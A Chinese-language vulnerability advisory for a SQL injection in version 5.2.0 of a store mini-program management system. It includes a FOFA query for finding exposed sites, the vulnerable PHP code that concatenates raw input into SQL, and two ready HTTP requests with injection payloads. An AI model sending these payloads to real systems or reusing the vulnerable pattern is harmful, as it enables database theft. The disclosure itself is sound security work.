漏洞简介
万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。该系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统 /api/wxapps/dopageduoproductsinfo 存在 SQL 注入漏洞,攻击者可通过该漏洞获取数据库中的敏感信息,甚至可能进一步控制服务器。
影响版本
万能门店小程序全开源独立版V5.2.0
fofa语法
body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")
漏洞分析
application/api/controller/Wxapps.php
//多规格数据自己规格
public function dopageduoproductsinfo()
{
$uniacid = input("uniacid");
$str = input('str');
$arr = explode("######", $str);
$id = input('id');
$where = "";
foreach ($arr as $key => &$res) {
$vv = $key + 1;
$where .= " and type" . $vv . " = " . "'" . $res . "'";
}
$prefix = config('database.prefix');
$proinfo = Db::query("SELECT * FROM {$prefix}wd_xcx_duo_products_type_value WHERE pid= " . $id . $where);
foreach ($proinfo as $key => &$value) {
if ($value['thumb']) {
$value['thumb'] = remote($uniacid, $value['thumb'], 1);
}
$value['salenum'] = $value['salenum'] + $value["vsalenum"];
}
$baseinfo = Db::name('wd_xcx_products')->where("id", $proinfo[0]['pid'])->find();
if ($baseinfo['thumb']) {
$baseinfo['thumb'] = remote($uniacid, $baseinfo['thumb'], 1);
}
if ($baseinfo['shareimg']) {
$baseinfo['shareimg'] = remote($uniacid, $baseinfo['shareimg'], 1);
}
$adata['proinfo'] = $proinfo[0];
$adata['baseinfo'] = $baseinfo;
$result['data'] = $adata;
return json_encode($result);
}
- id 参数: 该参数未作任何过滤或转义,直接作为 SQL 中 pid 的值拼接,造成SQL注入漏洞。
- str 参数中的各个分割后子串: $str 经 explode("######") 拆分后,每个部分都以 “and type{n} = '用户输入'” 的形式拼接到 SQL 语句中,造成SQL注入漏洞。
漏洞复现
POST /api/wxapps/dopageduoproductsinfo HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded
id=1+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23

POST /api/wxapps/dopageduoproductsinfo HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded
str=a'+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)-- 
